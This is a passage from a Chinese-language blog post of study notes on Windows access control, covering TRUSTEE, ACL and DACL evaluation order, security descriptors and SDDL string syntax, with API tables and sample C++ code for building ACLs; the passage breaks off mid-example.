Services（例如网络）在本地登陆时候的权限</em><br>组用户是不能用于登陆的（因为必须要指定某个人，不能以某个组的身份登陆），不过在ACE用于限制权限的时候非常方便，可以快速限制多个用户的访问权限。受托者使用了一个叫做<code>TRUESTEE</code>的结构体来定义当前身份。:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">typedef struct _TRUSTEE_A &#123;</span><br><span class="line">  struct _TRUSTEE_A          *pMultipleTrustee;</span><br><span class="line">  MULTIPLE_TRUSTEE_OPERATION MultipleTrusteeOperation;</span><br><span class="line">  TRUSTEE_FORM               TrusteeForm;</span><br><span class="line">  TRUSTEE_TYPE               TrusteeType;</span><br><span class="line">  union &#123;</span><br><span class="line">    LPSTR              ptstrName;</span><br><span class="line">    SID                *pSid;</span><br><span class="line">    OBJECTS_AND_SID    *pObjectsAndSid;</span><br><span class="line">    OBJECTS_AND_NAME_A *pObjectsAndName;</span><br><span class="line">  &#125;;</span><br><span class="line">  LPCH                       ptstrName;</span><br><span class="line">&#125; TRUSTEE_A, *PTRUSTEE_A, TRUSTEEA, *PTRUSTEEA;</span><br></pre></td></tr></table></figure><p>如上，我们可以发现<code>ptstrName</code>和<code>pSid</code>是一个<code>union</code>关系，这意味着一个用户可以使用<strong>命名字符串或者SID</strong>的形式来区分一个受托者。对于使用名字的相关操作ACE的函数，这些函数都将会分配SID所需要的buffer，并且能够找到SID与名字的对应关系。</p><p>相关函数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">BuildTrusteeWithSid //sid初始化</span><br><span class="line">BuildTrusteeWithName //name（str）初始化</span><br></pre></td></tr></table></figure><p>Windows还允许使用指定ACE来初始化<code>TRUSTEE</code>结构体：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">BuildTrusteeWithObjectsAndSid</span><br><span class="line">BuildTrusteeWithObjectsAndName</span><br></pre></td></tr></table></figure><p>这几个API涉及结构体中的这两个变量:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">OBJECTS_AND_SID    *pObjectsAndSid;</span><br><span class="line">OBJECTS_AND_NAME_A *pObjectsAndName;</span><br></pre></td></tr></table></figure><p>这两个变量指明了受托者名字/SID附加了<strong>特定对象ACE(object-specific ACE)<strong>的附加信息。这将会让例如<code>SetEntriesInAcl</code>或者<code>GetExplicitEntriesFromAcl</code>这类函数来将</strong>特定对象ACE</strong>存到TRUSTEE结构体中</p><h2 id="acl-access-control-list-访问控制链">ACL Access Control List 访问控制链</h2><p>是一系列ACE组成的链表（注意，有顺序的概念）。每一个ACL中的ACE确定一个受托者(Trustee)以及其相关的权限，包括aceess/deny/audit。每一个安全对象的安全描述符中定义了两种不同的ACL：DACL和SACL。<br>在头文件中的ACL定义如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"><span class="comment">//                                                                    //</span></span><br><span class="line"><span class="comment">//                         ACL  and  ACE                              //</span></span><br><span class="line"><span class="comment">//                                                                    //</span></span><br><span class="line"><span class="comment">////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  Define an ACL and the ACE format.  The structure of an ACL header</span></span><br><span class="line"><span class="comment">//  followed by one or more ACEs.  Pictorally the structure of an ACL header</span></span><br><span class="line"><span class="comment">//  is as follows:</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//       3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1</span></span><br><span class="line"><span class="comment">//       1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0</span></span><br><span class="line"><span class="comment">//      +-------------------------------+---------------+---------------+</span></span><br><span class="line"><span class="comment">//      |            AclSize            |      Sbz1     |  AclRevision  |</span></span><br><span class="line"><span class="comment">//      +-------------------------------+---------------+---------------+</span></span><br><span class="line"><span class="comment">//      |              Sbz2             |           AceCount            |</span></span><br><span class="line"><span class="comment">//      +-------------------------------+-------------------------------+</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  The current AclRevision is defined to be ACL_REVISION.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  AclSize is the size, in bytes, allocated for the ACL.  This includes</span></span><br><span class="line"><span class="comment">//  the ACL header, ACES, and remaining free space in the buffer.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  AceCount is the number of ACES in the ACL.</span></span><br><span class="line"><span class="comment">//</span></span><br></pre></td></tr></table></figure><h3 id="dacl-discretionary-access-control-list-任意访问控制列表">DACL discretionary access control list 任意访问控制列表</h3><p>DACL定义受托者对一个安全对象的access/deny权限。当一个进程尝试去访问一个安全对象的时候，系统就会检查当前对象中的DACL中的ACEs以确认是否有权限去访问。</p><h4 id="工作流程">工作流程</h4><p>具体来说，系统会对比每一个ACE中的受托者与<strong>线程访问token</strong>中的受托者的权限。一个访问token包含安全标识符(SID)，这些标识符将会用于表示指定的用户和组。token还包含用于标识当前session的session token。在权限确认阶段，系统将会忽略当前的没有被启用的组SID。</p><p>通常情况下，线程使用请求访问的线程的主要访问token（也就是通常意义上的用户普通token，也就是进程里面的那个token）。然而如果线程模拟了另一个用户(impersonate another user)，此时系统将会使用模拟用户的token。</p><h4 id="检查流程">检查流程</h4><ul><li>如果当前对象没有DACL，那么系统会默认分配任意权限给所有人(grant full access to everyone)。</li><li>如果对象的DACL中没有ACEs明确的提到了对受访者的权限控制，那么受访者<strong>将不会被授予任何权限</strong>。</li><li>系统检查ACEs的时候，会依次检查DACL中的所有ACE，直至确定了一个或者多个ACE中对所有请求的权限都被赋予了allow权限，或者找到了其中请求的某个权限被deny。如果查找到最后，仍然有权限没有被显示的allow的话，那么当前的权限依旧被被认为是deny</li></ul><p>如果看到上述的描述会注意到，可能会存在一个ACEs的顺序问题。现在举一个例子:</p><h4 id="实例：dacl-的检查过程">实例：DACL 的检查过程</h4><p><img src="/2019/12/25/Windows-Via-C-C-note-4/sid03.png" alt=""></p><p>一个访问过程发生的时候，实际上是<strong>线程与安全对象之间进行权限确认的过程</strong>。对于线程A，系统将会读取ACE1，此时会发现线程A的token是来自Andrew的，而Andrew在ACE1中被明确定义了不允许有RWX的权限，那么会直接返回拒绝访问。此时<strong>不会继续检查ACE2和ACE3</strong><br>对于线程B，ACE1将不会生效（因为此时的ACE1不包含相关信息）那么系统将会继续检查ACE2，然后发现此时GroupA的人拥有读权限，那么此时Thread B 对Object的读权限就被许可了。之后发现ACE3中提到，任意对象都有写和执行的权限，所以最后Thread B将对对象拥有读写和执行三种不同的权限。</p><p>因此，当设置ACE的时候需要注意。一旦检查满足条件，那么ACE的check逻辑将会停止。如果上述例子将ACE3写在了最前面，那么Thread A也将获得读写执行的权限。</p><h2 id="security-descriptors-安全描述符">Security Descriptors 安全描述符</h2><p>安全描述符，也就是描述一个安全对象中的安全相关信息的一个结构。一个安全描述符中由如下结构体组成:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SECURITY_DESCRIPTOR</span> &#123;</span><br><span class="line">  BYTE                        Revision;</span><br><span class="line">  BYTE                        Sbz1;</span><br><span class="line">  SECURITY_DESCRIPTOR_CONTROL Control;</span><br><span class="line">  PSID                        Owner;</span><br><span class="line">  PSID                        Group;</span><br><span class="line">  PACL                        Sacl;</span><br><span class="line">  PACL                        Dacl;</span><br><span class="line">&#125; SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;</span><br></pre></td></tr></table></figure><p>一个安全描述符通常包括：</p><ul><li>用于表示当前安全描述符的从属者(owner)和主从属组(primary group)的SIDs</li><li>一个描述对不同用户/组的allowed与denied权限的DACL</li><li>一个描述对不同用户/组的各种操作的权限与审计等级的SACL</li><li>一组用于描述当前安全描述符的意义，或者它单独的成员（？）</li></ul><p>应用不应该直接操作这个安全描述符，而应该尝试使用微软提供的一些API来对这个属性进行操作。微软提供了很多API能够创建和修改一个对象的安全描述符，接下来就会介绍创建的方法。</p><h3 id="security-descriptor-string-format-sddl">Security Descriptor String Format SDDL</h3><p>安全描述符定义语言定义了一个字符串格式，可以用来快速的生成安全描述符。如下的两组API就能够让SDDL和安全描述符之间进行快速转换：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ConvertSecurityDescriptorToStringSecurityDescriptor</span><br><span class="line">ConvertStringSecurityDescriptorToSecurityDescriptor</span><br></pre></td></tr></table></figure><p>一个完整的SDDL由以下四部分组成:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">owner (O:), primary group (G:), DACL (D:), and SACL (S:).</span><br><span class="line">O:owner_sid 指定对象的SID</span><br><span class="line">G:group_sid 指定对象组的SID</span><br><span class="line">D:dacl_flags(string_ace1)(string_ace2)... (string_acen) </span><br><span class="line">S:sacl_flags(string_ace1)(string_ace2)... (string_acen)</span><br></pre></td></tr></table></figure><p>owner_sid： 指定对象的SID Strings</p><p>SID Strings 除了之前已知的SID写法之外，还可以使用一些预先定义的短字符。例如:</p><table><thead><tr><th>SDDL SID string</th><th>Constant in Sddl.h</th><th>Account alias and corresponding RID</th></tr></thead><tbody><tr><td>“AN”</td><td>SDDL_ANONYMOUS</td><td>Anonymous logon. The corresponding RID is SECURITY_ANONYMOUS_LOGON_RID.</td></tr><tr><td>“AO”</td><td>SDDL_ACCOUNT_OPERATORS</td><td>Account operators. The corresponding RID is DOMAIN_ALIAS_RID_ACCOUNT_OPS.</td></tr><tr><td>“DA”</td><td>SDDL_DOMAIN_ADMINISTRATORS</td><td>Domain administrators. The corresponding RID is DOMAIN_GROUP_RID_ADMINS.</td></tr><tr><td>“DC”</td><td>SDDL_DOMAIN_COMPUTERS</td><td>Domain computers. The corresponding RID is DOMAIN_GROUP_RID_COMPUTERS.</td></tr></tbody></table><p>这里只罗列了一些，其余可以看这里:<a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings">https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings</a></p><p>group_sid： 指定对象组的SID Strings</p><p>dacl_flags:用于DACL上的安全描述符的控制位。控制位中可以包含下列字符串:</p><table><thead><tr><th>Control</th><th>Constant in Sddl.h</th><th>Meaning</th></tr></thead><tbody><tr><td>“P”</td><td><code>SDDL_PROTECTED</code></td><td>The <code>SE_DACL_PROTECTED</code> flag is set.</td></tr><tr><td>“AR”</td><td><code>SDDL_AUTO_INHERIT_REQ</code></td><td>The <code>SE_DACL_AUTO_INHERIT_REQ</code> flag is set.</td></tr><tr><td>“AI”</td><td><code>SDDL_AUTO_INHERITED</code></td><td>The <code>SE_DACL_AUTO_INHERITED</code> flag is set.</td></tr><tr><td>“NO_ACCESS_CONTROL”</td><td><code>SSDL_NULL_ACL</code></td><td>The ACL is null.</td></tr></tbody></table><p>sacl_flags：同DACL</p><p>string_ace：用于定义ACE的字符串。每一个完整的ACE需要用<code>()</code>括起来。接下来就来详细的介绍一下这段内容：</p><h4 id="aces-string">ACEs String</h4><p>每一个ACEs对象都有一个<code>ACE_HEADER</code>的语法头结构</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_ACE_HEADER</span> &#123;</span><br><span class="line">  BYTE AceType;</span><br><span class="line">  BYTE AceFlags;</span><br><span class="line">  WORD AceSize;</span><br><span class="line">&#125; ACE_HEADER;</span><br></pre></td></tr></table></figure><p>一个ACE定义字符串的常见格式为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)</span><br></pre></td></tr></table></figure><p><strong>ace_type</strong><br>表明了ACE_HEADER中的AceType成员。也就是<strong>allow/deny</strong>等相关定义。常见的有</p><table><thead><tr><th>ACE type string</th><th>Constant in Sddl.h</th><th>AceType value</th></tr></thead><tbody><tr><td>“A”</td><td>SDDL_ACCESS_ALLOWED</td><td>ACCESS_ALLOWED_ACE_TYPE</td></tr><tr><td>“D”</td><td>SDDL_ACCESS_DENIED</td><td>ACCESS_DENIED_ACE_TYPE</td></tr><tr><td>“OA”</td><td>SDDL_OBJECT_ACCESS_ALLOWED</td><td>ACCESS_ALLOWED_OBJECT_ACE_TYPE</td></tr><tr><td>“OD”</td><td>SDDL_OBJECT_ACCESS_DENIED</td><td>ACCESS_DENIED_OBJECT_ACE_TYPE</td></tr><tr><td>“AU”</td><td>SDDL_AUDIT</td><td>SYSTEM_AUDIT_ACE_TYPE</td></tr><tr><td>“AL”</td><td>SDDL_ALARM</td><td>SYSTEM_ALARM_ACE_TYPE</td></tr></tbody></table><p>其余查看小节末尾的文档</p><p><strong>ace_flags</strong><br>用来表明ACE_HEADER中的AceFlags成员。一般是和继承相关的属性:</p><table><thead><tr><th>ACE flags string</th><th>Constant in Sddl.h</th><th>AceType value</th></tr></thead><tbody><tr><td>“CI”</td><td>SDDL_CONTAINER_INHERIT</td><td>CONTAINER_INHERIT_ACE</td></tr><tr><td>“OI”</td><td>SDDL_OBJECT_INHERIT</td><td>OBJECT_INHERIT_ACE</td></tr><tr><td>“NP”</td><td>SDDL_NO_PROPAGATE</td><td>NO_PROPAGATE_INHERIT_ACE</td></tr><tr><td>“IO”</td><td>SDDL_INHERIT_ONLY</td><td>INHERIT_ONLY_ACE</td></tr><tr><td>“ID”</td><td>SDDL_INHERITED</td><td>INHERITED_ACE</td></tr><tr><td>“SA”</td><td>SDDL_AUDIT_SUCCESS</td><td>SUCCESSFUL_ACCESS_ACE_FLAG</td></tr><tr><td>“FA”</td><td>SDDL_AUDIT_FAILURE</td><td>FAILED_ACCESS_ACE_FLAG</td></tr></tbody></table><p><strong>rights</strong><br>表明了ACE控制的控制权限，也就是当前定义的控制权。当前值可以定义为十六进制的字符串数字，或者是如下的字符串:</p><p><strong>Generic access rights</strong></p><table><thead><tr><th>Access rights string</th><th>Constant in Sddl.h</th><th>AceType value</th></tr></thead><tbody><tr><td>“GA”</td><td>SDDL_GENERIC_ALL</td><td>GENERIC_ALL</td></tr><tr><td>“GR”</td><td>SDDL_GENERIC_READ</td><td>GENERIC_READ</td></tr><tr><td>“GW”</td><td>SDDL_GENERIC_WRITE</td><td>GENERIC_WRITE</td></tr><tr><td>“GX”</td><td>SDDL_GENERIC_EXECUTE</td><td>GENERIC_EXECUTE</td></tr></tbody></table><p><strong>Standard access rights</strong></p><table><thead><tr><th>Access rights string</th><th>Constant in Sddl.h</th><th>AceType value</th></tr></thead><tbody><tr><td>“RC”</td><td>SDDL_READ_CONTROL</td><td>READ_CONTROL</td></tr><tr><td>“SD”</td><td>SDDL_STANDARD_DELETE</td><td>DELETE</td></tr><tr><td>“WD”</td><td>SDDL_WRITE_DAC</td><td>WRITE_DAC</td></tr><tr><td>“WO”</td><td>SDDL_WRITE_OWNER</td><td>WRITE_OWNER</td></tr></tbody></table><p>省略了不少，直接查看小节末尾文档即可。</p><p><strong>object_guid</strong><br>表明了一个**特定对象ACE(object-specific ACE)**结构体中的<code>ObjectType</code>对象的GUID。（在使用<code>ACCESS_ALLOWED_OBJECT_ACE</code>等操作的时候可以生效），可以使用API</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UuidToString </span><br></pre></td></tr></table></figure><p>对GUID进行转换<br>这个也有一些常见的对象GUID</p><table><thead><tr><th>Rights and GUID</th><th>Permission</th></tr></thead><tbody><tr><td>CR;ab721a53-1e2f-11d0-9819-00aa0040529b</td><td>Change password</td></tr><tr><td>CR;00299570-246d-11d0-a768-00aa006e0529</td><td>Reset password</td></tr></tbody></table><p><strong>inherit_object_guid</strong><br>同上，不过用于特定对象ACE的<code>InheritedObjectType</code>这个属性</p><p><strong>account_sid</strong><br>表明受托者SID的字符串</p><p><strong>resource_attribute</strong><br><em>可选</em>：针对资源ACE。用于表明数据类型。</p><p><em>在resource_attribute中， '#'这个符号和’0’同一个意思</em><br><em>这个特性直到Windows 8之后才生效</em></p><table><thead><tr><th>Resource attribute ace data type string</th><th>Constant in Sddl.h</th><th>Data type</th></tr></thead><tbody><tr><td>“TI”</td><td>SDDL_INT</td><td>Signed integer</td></tr><tr><td>“TU”</td><td>SDDL_UINT</td><td>Unsigned integer</td></tr><tr><td>“TS”</td><td>SDDL_WSTRING</td><td>Wide string</td></tr><tr><td>“TD”</td><td>SDDL_SID</td><td>SID</td></tr><tr><td>“TX”</td><td>SDDL_BLOB</td><td>Octet string</td></tr><tr><td>“TB”</td><td>SDDL_BOOLEAN</td><td>Boolean</td></tr></tbody></table><h4 id="实例-ace">实例:ACE</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)</span><br></pre></td></tr></table></figure><p>首先这个不是一个特定对象ACE，所以和object相关的位置并没有填入相关的guid。然后我们查表可知:</p><ul><li>‘A’:这个是一个<code>ACCESS_ALLOWED_ACE_TYPE</code>类型的ACE</li><li>‘RPWPCCDCLCSW’:说明这个对象是一个和目录服务（directory service (DS)）相关的ACE。<code>SDDL_READ_PROPERTY|SDDL_WRITE_PROPERTY|SDDL_CREATE_CHILD|SDDL_DELETE_CHILD|SDDL_LIST_CHILDREN|SDDL_SELF_WRITE</code>。属性中说明具有对对象<strong>属性的读写权限，创建、罗列和删除子属性的权限，以及<em>验证的写权限</em></strong></li><li>‘RCWDWO’:这一段是说明对对象的安全描述符的控制权限。<code>SDDL_READ_CONTROL|SDDL_WRITE_DAC|SDDL_WRITE_OWNER</code>表示对当前对象的安全描述符有读权限（对SACL没有），然后对对象安全描述符中的DACL有写权限，同事能够更改这个对象的安全描述符的拥有者。</li><li>‘GA’:这个表明当前的权限是正对哪种操作而言。<code>SDDL_GENERIC_ALL</code>表示是所有的权限</li><li>S-1-1-0:Everyone</li></ul><p>这个实际的权限是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">AceType:       0x00 (ACCESS_ALLOWED_ACE_TYPE)</span><br><span class="line">AceFlags:      0x00</span><br><span class="line">Access Mask:   0x100e003f</span><br><span class="line">                    READ_CONTROL</span><br><span class="line">                    WRITE_DAC</span><br><span class="line">                    WRITE_OWNER</span><br><span class="line">                    GENERIC_ALL</span><br><span class="line">                    Other access rights(0x0000003f)</span><br><span class="line">Ace Sid      : (S-1-1-0)</span><br></pre></td></tr></table></figure><h4 id="实例：手动创建ace">实例：手动创建ACE:</h4><p>这段代码其实来自于chromium，是创建ACE的其中一种办法:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">bool</span> <span class="title">AddSidToDacl</span><span class="params">(<span class="type">const</span> Sid&amp; sid,</span></span></span><br><span class="line"><span class="params"><span class="function">                  ACL* old_dacl,</span></span></span><br><span class="line"><span class="params"><span class="function">                  ACCESS_MODE access_mode,</span></span></span><br><span class="line"><span class="params"><span class="function">                  ACCESS_MASK access,</span></span></span><br><span class="line"><span class="params"><span class="function">                  ACL** new_dacl)</span> </span>&#123;</span><br><span class="line">  EXPLICIT_ACCESS new_access = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">  new_access.grfAccessMode = access_mode;</span><br><span class="line">  new_access.grfAccessPermissions = access;</span><br><span class="line">  new_access.grfInheritance = NO_INHERITANCE;<span class="comment">//这里表示当前ACE不可被继承</span></span><br><span class="line"></span><br><span class="line">  new_access.Trustee.pMultipleTrustee = <span class="literal">nullptr</span>;<span class="comment">//固定值。。。</span></span><br><span class="line">  new_access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;<span class="comment">//固定值。。。</span></span><br><span class="line">  new_access.Trustee.TrusteeForm = TRUSTEE_IS_SID;</span><br><span class="line">  new_access.Trustee.ptstrName = <span class="built_in">reinterpret_cast</span>&lt;LPWSTR&gt;(sid.<span class="built_in">GetPSID</span>());</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (ERROR_SUCCESS != ::<span class="built_in">SetEntriesInAcl</span>(<span class="number">1</span>, &amp;new_access, old_dacl, new_dacl))</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先代码声明了一个<code>EXPLICIT_ACCESS</code>，表明此时需要显示的声明一个ACE，然后分别指定了其<code>access_mode</code>(表明当前的权限种类，可以是denied/revoke/grant等等)，<code>AceesssPermissions</code>(访问权限) 以及 <code>grfInheritance</code>，此时相当于制定了当前权限控制的所有权限。之后通过指定<code>Trustee</code>的一些基本属性（主要是SID），确认当前ACE的受托者是谁（也就是确认了作用对象），然后讲当前的ACE塞到指定的acl中。</p><p>除此之外，还能够通过类似的方式创建ACE。常见的API有:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">AddAccessAllowedAce</span><br><span class="line">AddAccessDeniedAce </span><br></pre></td></tr></table></figure><p>这两个API能够直接添加指定的ACE。</p><h4 id="实例：sddl">实例：SDDL</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;O:AOG:DAD:(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-0-0)&quot;</span><br></pre></td></tr></table></figure><p>O:AO，也就是登陆账号的那个人<br>G:AD，域管理员权限<br>D:(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-0-0) 上述实例中的ACE。<br>所以整段连起来看结果如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">    Revision:  0x00000001</span><br><span class="line">    Control:   0x0004</span><br><span class="line">        SE_DACL_PRESENT</span><br><span class="line">    Owner: (S-1-5-32-548)</span><br><span class="line">    PrimaryGroup: (S-1-5-21-397955417-626881126-188441444-512)</span><br><span class="line">DACL</span><br><span class="line">    Revision: 0x02</span><br><span class="line">    Size:     0x001c</span><br><span class="line">    AceCount: 0x0001</span><br><span class="line">    Ace[00]</span><br><span class="line">        AceType:       0x00 (ACCESS_ALLOWED_ACE_TYPE)</span><br><span class="line">        AceSize:       0x0014</span><br><span class="line">        InheritFlags:  0x00</span><br><span class="line">        Access Mask:   0x100e003f</span><br><span class="line">                            READ_CONTROL</span><br><span class="line">                            WRITE_DAC</span><br><span class="line">                            WRITE_OWNER</span><br><span class="line">                            GENERIC_ALL</span><br><span class="line">                            Others(0x0000003f)</span><br><span class="line">        Ace Sid      : (S-1-0-0)</span><br><span class="line">SACL</span><br><span class="line">    Not present</span><br></pre></td></tr></table></figure><h4 id="实例：创建一个dacl">实例：创建一个DACL</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _WIN32_WINNT 0x0500</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sddl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;advapi32.lib&quot;</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CreateMyDACL</span><span class="params">(SECURITY_ATTRIBUTES *)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">     SECURITY_ATTRIBUTES  sa;</span><br><span class="line">      </span><br><span class="line">     sa.nLength = <span class="built_in">sizeof</span>(SECURITY_ATTRIBUTES);</span><br><span class="line">     sa.bInheritHandle = FALSE;  </span><br><span class="line"></span><br><span class="line">     <span class="comment">// Call function to set the DACL. The DACL</span></span><br><span class="line">     <span class="comment">// is set in the SECURITY_ATTRIBUTES </span></span><br><span class="line">     <span class="comment">// lpSecurityDescriptor member.</span></span><br><span class="line">     <span class="keyword">if</span> (!<span class="built_in">CreateMyDACL</span>(&amp;sa))</span><br><span class="line">     &#123;</span><br><span class="line">         <span class="comment">// Error encountered; generate message and exit.</span></span><br><span class="line">         <span 